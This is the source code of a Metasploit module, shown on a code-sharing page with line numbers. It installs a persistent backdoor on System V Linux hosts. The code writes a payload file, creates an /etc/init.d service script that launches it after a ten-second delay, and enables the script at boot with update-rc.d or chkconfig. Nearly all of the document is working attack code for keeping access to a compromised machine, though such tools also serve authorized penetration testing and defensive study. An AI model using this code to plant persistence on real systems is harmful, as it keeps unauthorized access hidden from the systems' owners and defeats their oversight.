Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_sysvinit.rb
31375 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE # for generate_payload_exe
12
include Msf::Exploit::FileDropper
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/service_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Service System V Persistence',
23
'Description' => %q{
24
This module will create a service via System V on the box, and mark it for auto-restart.
25
We need enough access to write service files and potentially restart services.
26
27
Some systems include backwards compatibility, such as Ubuntu up to about 16.04.
28
29
Targets:
30
CentOS <= 5
31
Debian <= 6
32
Kali 2.0
33
Ubuntu <= 6.06
34
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
35
36
Verified on Kali 2.0, Ubuntu 10.04
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'h00die',
41
],
42
'Platform' => ['unix', 'linux'],
43
'Targets' => [
44
[
45
'System V', {
46
runlevel: '2 3 4 5'
47
}
48
]
49
],
50
'DefaultTarget' => 0,
51
'Arch' => [
52
ARCH_CMD,
53
ARCH_X86,
54
ARCH_X64,
55
ARCH_ARMLE,
56
ARCH_AARCH64,
57
ARCH_PPC,
58
ARCH_MIPSLE,
59
ARCH_MIPSBE
60
],
61
'References' => [
62
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
63
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
64
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]
65
],
66
'SessionTypes' => ['shell', 'meterpreter'],
67
'Privileged' => true,
68
'Notes' => {
69
'Stability' => [CRASH_SAFE],
70
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
71
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
72
},
73
'DisclosureDate' => '1983-01-01' # system v release date
74
)
75
)
76
77
register_options(
78
[
79
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
80
OptString.new('SERVICE', [false, 'Name of service to create'])
81
]
82
)
83
register_advanced_options(
84
[
85
OptBool.new('EnableService', [true, 'Enable the service', true])
86
]
87
)
88
end
89
90
def check
91
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
92
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
93
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
94
95
has_updatercd = command_exists?('update-rc.d')
96
if has_updatercd || command_exists?('chkconfig') # centos 5
97
return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
98
end
99
100
CheckCode::Safe('Likely not a System V based system')
101
end
102
103
def install_persistence
104
backdoor = write_shell(writable_dir)
105
106
path = backdoor.split('/')[0...-1].join('/')
107
file = backdoor.split('/')[-1]
108
109
system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))
110
end
111
112
def write_shell(path)
113
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
114
backdoor = "#{path}/#{file_name}"
115
vprint_status("Writing backdoor to #{backdoor}")
116
if payload.arch.first == 'cmd'
117
write_file(backdoor, payload.encoded)
118
chmod(backdoor, 0o755)
119
else
120
upload_and_chmodx backdoor, generate_payload_exe
121
end
122
@clean_up_rc << "rm #{backdoor}\n"
123
124
if file_exist?(backdoor)
125
chmod(backdoor, 0o711)
126
return backdoor
127
end
128
fail_with(Failure::NoAccess, 'File not written, check permissions.')
129
end
130
131
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
132
if has_updatercd
133
vprint_status('Utilizing update-rc.d')
134
else
135
vprint_status('Utilizing chkconfig')
136
end
137
138
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
139
140
script = <<~EOF
141
#!/bin/sh
142
### BEGIN INIT INFO
143
# Provides: #{service_filename}
144
# Required-Start: $network
145
# Required-Stop: $network
146
# Default-Start: #{runlevel}
147
# Default-Stop: 0 1 6
148
# Short-Description: Start daemon at boot time
149
# Description: Enable service provided by daemon.
150
### END INIT INFO
151
DIR="#{backdoor_path}"
152
CMD="#{backdoor_file}"
153
NAME="$(basename "$0")"
154
PID_FILE="/var/run/$NAME.pid"
155
STDOUT_LOG="/var/log/$NAME.log"
156
STDERR_LOG="/var/log/$NAME.err"
157
get_pid() {
158
[ -f "$PID_FILE" ] && cat "$PID_FILE"
159
}
160
is_running() {
161
PID=$(get_pid)
162
[ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
163
}
164
start_service() {
165
if is_running; then
166
echo "$NAME is already running."
167
return 0
168
fi
169
echo "Starting $NAME..."
170
sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &
171
echo $! > "$PID_FILE"
172
sleep 1
173
if is_running; then
174
echo "$NAME started successfully."
175
else
176
echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"
177
exit 1
178
fi
179
}
180
stop_service() {
181
if ! is_running; then
182
echo "$NAME is not running."
183
return 0
184
fi
185
echo "Stopping $NAME..."
186
kill "$(get_pid)" && rm -f "$PID_FILE"
187
for i in $(seq 1 10); do
188
if ! is_running; then
189
echo "$NAME stopped."
190
return 0
191
fi
192
sleep 1
193
done
194
echo "Failed to stop $NAME."
195
exit 1
196
}
197
case "$1" in
198
start) start_service ;;
199
stop) stop_service ;;
200
restart)
201
stop_service
202
start_service
203
;;
204
status)
205
if is_running; then
206
echo "$NAME is running."
207
else
208
echo "$NAME is stopped."
209
exit 1
210
fi
211
;;
212
*)
213
echo "Usage: $0 {start|stop|restart|status}"
214
exit 1
215
;;
216
esac
217
exit 0
218
EOF
219
220
service_name = "/etc/init.d/#{service_filename}"
221
vprint_status("Writing service: #{service_name}")
222
write_file(service_name, script)
223
224
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
225
226
@clean_up_rc << "rm #{service_name}\n"
227
@clean_up_rc << "rm /var/log/#{service_name}.log\n"
228
@clean_up_rc << "rm /var/log/#{service_name}.err\n"
229
chmod(service_name, 0o755)
230
print_good('Enabling & starting our service (10 second delay for payload)')
231
if has_updatercd
232
cmd_exec("update-rc.d #{service_filename} defaults")
233
cmd_exec("update-rc.d #{service_filename} enable")
234
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
235
cmd_exec("service #{service_filename} start")
236
else
237
cmd_exec("/etc/init.d/#{service_filename} start")
238
end
239
else # CentOS
240
cmd_exec("chkconfig --add #{service_filename}")
241
cmd_exec("chkconfig #{service_filename} on")
242
cmd_exec("/etc/init.d/#{service_filename} start")
243
end
244
end
245
end
246
247